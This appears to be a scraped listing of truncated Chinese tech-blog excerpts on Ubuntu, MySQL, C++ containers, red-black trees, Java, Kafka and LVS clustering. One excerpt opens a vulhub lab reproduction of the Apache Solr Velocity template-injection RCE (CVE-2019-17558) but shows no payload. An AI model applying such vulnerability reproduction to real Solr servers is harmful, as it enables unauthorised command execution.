ubuntu18.04图形界面卡死&#xff0c;鼠标键盘失灵&#xff0c; 通过MAC共享网络给Ubuntu解决&#xff01; 1. 尝试从卡死的图形界面切换到命令行界面2. 进入bios和grub页面3. 更改Grub中的设置&#xff0c;以进入命令行4. 在命令行页面解决图形界面卡死的问题5. Mac共享WI-FI网…

【MySQL】数据库的基本操作

目录 一、数据库的库操作 二、数据库的表操作 一、数据库的库操作 数据库的创建 create database (if not exists) 库名 这里的if not exists 是一个判断用的&#xff0c;如果数据库存在&#xff0c;就不执行语句&#xff0c;如果数据库不存在&#xff0c;则执行该语句。 创建…

vulhub中Apache Solr Velocity 注入远程命令执行漏洞复现 (CVE-2019-17558)

Apache Solr 是一个开源的搜索服务器。 在其 5.0.0 到 8.3.1版本中&#xff0c;用户可以注入自定义模板&#xff0c;通过Velocity模板语言执行任意命令。 访问http://your-ip:8983即可查看到一个无需权限的Apache Solr服务。 1.默认情况下params.resource.loader.enabled配置…

C++实现vector

目录 前言 1.成员变量 2.成员函数 2.1构造函数 2.2析构函数 2.3begin,end 2.4获取size和capacity 2.5函数重载【】 2.6扩容reserve 2.7resize 2.8insert 2.9删除 2.10尾插、尾删 3.0拷贝构造函数 3.1赋值运算符重载 前言 自主实现C中vector大部分的功能可以使我们更好的理解并使…

红黑树介绍与模拟实现(insert+颜色调整精美图示超详解哦)

红黑树 引言红黑树的介绍实现结点类insert搜索插入位置插入调整当parent为gparent的左子结点当parent为gparent的右子结点 参考源码测试红黑树是否合格总结 引言 在上一篇文章中我们认识了高度平衡的平衡二叉树AVL树&#xff1a;戳我看AVL树详解哦 &#xff08;关于旋转调整的…

Java 7、Java 8常用新特性

目录 Java 8 常用新特性1、Lambda 表达式2、方法引用2.1 静态方法引用2.2 特定对象的实例方法引用2.3 特定类型的任意对象的实例方法引用2.4 构造器引用 3、接口中的默认方法4、函数式接口4.1 自定义函数式接口4.2 内置函数式接口 5、Date/Time API6、Optional 容器类型7、Stre…

(四) 序列化器类使用整理

从一、序列化器类中&#xff0c;或 视图集源码 中&#xff0c; 可以得知&#xff1a; 序列化器类可以接收一个instance &#xff0c;和一个data serializer_obj XxxxSerializer(instance,datarequest.data) &#xff08;更新时&#xff0c;instance相当于原…

云原生技术精选:探索腾讯云容器与函数计算的最佳实践

文章目录 写在前面《2023腾讯云容器和函数计算技术实践精选集》深度解读案例集特色&#xff1a;腾讯云的创新实践与技术突破精选案例分析——Stable Diffusion云原生部署的最佳实践精选集实用建议分享总结 写在前面 在数字化转型的浪潮下&#xff0c;云计算技术已成为企业运营…

Kafka入门到实战-第五弹

Kafka入门到实战 Kafka常见操作官网地址Kafka概述Kafka的基础操作更新计划 Kafka常见操作 官网地址 声明: 由于操作系统, 版本更新等原因, 文章所列内容不一定100%复现, 还要以官方信息为准 https://kafka.apache.org/Kafka概述 Apache Kafka 是一个开源的分布式事件流平台&…

基于springboot+vue实现的酒店客房管理系统

作者主页&#xff1a;Java码库 主营内容&#xff1a;SpringBoot、Vue、SSM、HLMT、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、小程序、安卓app等设计与开发。 收藏点赞不迷路 关注作者有好处 文末获取源码 技术选型 【后端】&#xff1a;Java 【框架】&#xff1a;spring…

昇腾训练执行与推理部署系列 入门: 1.开启异腾AI之旅

一、1认识CANN 1、昇腾AI基础软硬件平台介绍2、CANN逻辑架构介绍 1、昇腾AI基础软硬件平台介绍 2、CANN逻辑架构介绍

普联一面4.2面试记录

普联一面4.2面试记录 文章目录 普联一面4.2面试记录1.jdk和jre的区别2.java的容器有哪些3.list set map的区别4.get和post的区别5.哪个更安全6.java哪些集合类是线程安全的7.创建线程有哪几种方式8.线程的状态有哪几种9.线程的run和start的区别10.什么是java序列化11.redis的优…

商品购买过程中,库存的抵扣过程是怎样的?如何防止超卖?

在商品购买的过程中&#xff0c;库存的抵扣过程&#xff0c;一般操作如下&#xff1a; 1、select根据商品id查询商品的库存。 2、根据下单的数量&#xff0c;计算库存是否足够&#xff0c;如果存库不足则抛出库存不足的异常&#xff0c;如果库存足够&#xff0c;则减去扣除的…

mysql+keepalive+lvs搭建的数据库集群实验

前提条件&#xff1a;准备5台计算机&#xff0c;且网络互通 1、客户端 yum groups -y install mariadb-client ip 192.168.0.5 2、lvs1 yum-y install ipvsadm keepalived ip 192.168.0.1 keepalivedvip 192.168.0.215 /etc/hosts 解析192.168.0.1 主机名 3、lvs2 yum-y i…